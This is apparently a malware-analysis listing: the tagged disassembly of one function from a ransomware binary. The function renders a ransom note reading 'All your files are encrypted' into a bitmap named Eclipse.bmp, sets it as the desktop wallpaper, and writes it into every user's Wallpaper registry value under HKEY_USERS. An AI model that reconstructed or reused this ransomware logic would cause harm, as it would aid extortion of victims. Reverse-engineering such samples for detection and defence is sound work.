Function at 0x140023260
Capabilities:
Change the wallpaper
Check if file exists
Get common file path
Get file attributes
Query or enumerate registry key
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x5a0
mov rax, qword [0x14009b0c0]
xor rax, rsp
mov qword [rsp + 0x590], rax
mov dword [rsp + 0x140], 1
xor r14d, r14d
mov qword [r11 - 0x470], r14
mov qword [r11 - 0x468], r14
xor r8d, r8d
lea rdx, [r11 - 0x478]
lea rcx, [r11 - 0x480]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
test eax, eax
je 0x1400232e9
lea rdx, str.Failed_to_initialize_GDI
lea rcx, [0x14009d750]
call fcn.14001f550
mov rcx, rax
call fcn.140028530
jmp 0x140023adb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xc8], xmm0
mov qword [rsp + 0xd8], rax
lea r13, vtable.Gdiplus::Image.0
mov qword [rsp + 0xc8], r13
lea rax, vtable.Gdiplus::Bitmap.0
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0x68], r14
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
mov r9d, 0x21808
xor r8d, r8d
mov edx, 0x438
mov ecx, 0x780
call qword [sym.imp.gdiplus.dll_GdipCreateBitmapFromScan0]
mov dword [rsp + 0xd8], eax
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0x70], r14
lea rdx, [rsp + 0x70]
call qword [sym.imp.gdiplus.dll_GdipGetImageGraphicsContext]
mov ebx, eax
mov dword [rsp + 0x110], eax
mov rdi, qword [rsp + 0x70]
mov qword [rsp + 0x108], rdi
mov edx, 2
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipSetSmoothingMode]
test eax, eax
cmovne ebx, eax
mov dword [rsp + 0x110], ebx
mov dword [rsp + 0x98], 0xff000000
lea r15, vtable.Gdiplus::Brush.0
mov qword [rsp + 0xf0], r15
mov dword [rsp + 0x100], 6
lea r12, vtable.Gdiplus::SolidBrush.0
mov qword [rsp + 0xf0], r12
mov qword [rsp + 0x78], r14
lea rdx, [rsp + 0x78]
mov ecx, 0xff000000
call qword [sym.imp.gdiplus.dll_GdipCreateSolidFill]
mov dword [rsp + 0x100], eax
mov rsi, qword [rsp + 0x78]
mov qword [rsp + 0xf8], rsi
mov dword [rsp + 0x28], 0x438
mov dword [rsp + 0x20], 0x780
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipFillRectangleI]
test eax, eax
cmovne ebx, eax
mov dword [rsp + 0x110], ebx
xorps xmm0, xmm0
movups xmmword [rsp + 0xe0], xmm0
movss xmm2, dword [0x140090ec0]
lea rcx, [rsp + 0xe0]
call fcn.140022fa0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0x98], 0xffffffff
mov qword [rsp + 0xb0], r15
mov dword [rsp + 0xc0], 6
mov qword [rsp + 0xb0], r12
mov qword [rsp + 0x80], r14
lea rdx, [rsp + 0x80]
mov ecx, 0xffffffff
call qword [sym.imp.gdiplus.dll_GdipCreateSolidFill]
mov dword [rsp + 0xc0], eax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xb8], rax
movaps xmm0, xmmword [0x140090ef0]
movups xmmword [rsp + 0x158], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xa0], r14
xor edx, edx
lea r8, [rsp + 0xa0]
xor ecx, ecx
call qword [sym.imp.gdiplus.dll_GdipCreateStringFormat]
mov dword [rsp + 0xa8], eax
mov edx, 1
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipSetStringFormatAlign]
mov ecx, dword [rsp + 0xa8]
test eax, eax
cmovne ecx, eax
mov dword [rsp + 0xa8], ecx
mov edx, 1
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipSetStringFormatLineAlign]
mov ecx, dword [rsp + 0xa8]
test eax, eax
cmovne ecx, eax
mov dword [rsp + 0xa8], ecx
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x158]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xe0]
mov r8d, 0xffffffff
lea rdx, str.All_your_files_are_encrypted_nfor_more_information_see_HowToDecrypt.txt_that_is_located_in_every_encrypted_folder
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDrawString]
test eax, eax
cmovne ebx, eax
mov dword [rsp + 0x110], ebx
lea rdx, [rsp + 0x168]
call fcn.140023170
test al, al
jne 0x140023624
lea rdx, str.Failed_to_get_BMP_CLSID
lea rcx, [0x14009d750]
call fcn.14001f550
mov rcx, rax
call fcn.140028530
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipDeleteStringFormat]
mov qword [rsp + 0xb0], r15
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.gdiplus.dll_GdipDeleteFont]
mov qword [rsp + 0xf0], r15
mov rcx, rsi
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov qword [rsp + 0xc8], r13
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
jmp 0x140023adb
lea rax, [rsp + 0x180]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x23]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x1400236cd
lea rdx, str.Failed_to_get_common_app_data_path
lea rcx, [0x14009d750]
call fcn.14001f550
mov rcx, rax
call fcn.140028530
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipDeleteStringFormat]
mov qword [rsp + 0xb0], r15
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.gdiplus.dll_GdipDeleteFont]
mov qword [rsp + 0xf0], r15
mov rcx, rsi
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov qword [rsp + 0xc8], r13
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
jmp 0x140023adb
lea r8, str.Eclipse.bmp
mov edx, 0x104
lea rcx, [rsp + 0x180]
call fcn.140060684
xor r9d, r9d
lea r8, [rsp + 0x168]
lea rdx, [rsp + 0x180]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
test eax, eax
je 0x140023798
mov dword [rsp + 0xd8], eax
lea rdx, str.Failed_to_save_BMP_file
lea rcx, [0x14009d750]
call fcn.14001f550
mov rcx, rax
call fcn.140028530
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipDeleteStringFormat]
mov qword [rsp + 0xb0], r15
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.gdiplus.dll_GdipDeleteFont]
mov qword [rsp + 0xf0], r15
mov rcx, rsi
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov qword [rsp + 0xc8], r13
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
jmp 0x140023adb
lea rcx, [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140023831
lea rdx, str.Background_image_file_not_found
lea rcx, [0x14009d750]
call fcn.14001f550
mov rcx, rax
call fcn.140028530
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipDeleteStringFormat]
mov qword [rsp + 0xb0], r15
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.gdiplus.dll_GdipDeleteFont]
mov qword [rsp + 0xf0], r15
mov rcx, rsi
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov qword [rsp + 0xc8], r13
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
jmp 0x140023adb
mov r9d, 3
lea r8, [rsp + 0x180]
xor edx, edx
lea ecx, [rdx + 0x14]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
jne 0x140023869
lea rdx, str.Failed_to_set_desktop_wallpaper
lea rcx, [0x14009d750]
call fcn.14001f550
mov rcx, rax
call fcn.140028530
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
xor edx, edx
mov rcx, 0xffffffff80000003
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140023a4e
mov dword [rsp + 0x98], 0x100
mov ebx, r14d
mov dword [rsp + 0x40], ebx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x98]
lea r8, [rsp + 0x390]
mov edx, ebx
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140023a3e
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r14
lea rax, [rsp + 0x390]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140023905
lea rdx, [rsp + 0x390]
lea rcx, [rsp + 0x48]
call fcn.140018180
lea rdx, str.Control_PanelDesktop
lea rcx, [rsp + 0x48]
call fcn.140017e60
xorps xmm0, xmm0
movups xmmword [rsp + 0x118], xmm0
mov qword [rsp + 0x128], r14
mov qword [rsp + 0x130], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x118], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x128], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea rcx, [rsp + 0x48]
call fcn.140017f90
lea rdx, [rsp + 0x118]
cmp qword [rsp + 0x130], 7
cmova rdx, qword [rsp + 0x118]
lea rax, [rsp + 0x88]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000003
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140023a1f
lea rcx, [rsp + 0x180]
mov rax, 0xffffffffffffffff
nop
lea rax, [rax + 1]
cmp word [rcx + rax*2], 0
jne 0x1400239d0
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Wallpaper
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0x98], 0x100
lea rcx, [rsp + 0x118]
call fcn.140017f90
inc ebx
jmp 0x1400238a4
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140023a69
lea rdx, str.Failed_to_open_HKEY_USERS
lea rcx, [0x14009d750]
call fcn.14001f550
mov rcx, rax
call fcn.140028530
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipDeleteStringFormat]
mov qword [rsp + 0xb0], r15
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.gdiplus.dll_GdipDeleteFont]
mov qword [rsp + 0xf0], r15
mov rcx, rsi
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov qword [rsp + 0xc8], r13
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
nop
mov rcx, qword [rsp + 0x138]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
nop
mov rcx, qword [rsp + 0x590]
xor rcx, rsp
call fcn.140052f30
lea r11, [rsp + 0x5a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret